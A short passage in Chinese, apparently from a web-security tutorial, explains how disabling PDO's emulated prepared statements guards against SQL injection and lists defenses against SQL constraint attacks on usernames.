setAttribute()这一行是强制性的,它会告诉 PDO 禁用模拟预处理语句,并使用 real parepared statements 。这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)。

reference:pdo如何防止 sql注入

防御约束攻击

  • 插入数据前先判断数据长度。
  • 使用id字段作为判断用户的凭证。
  • 给username字段添加unique属性。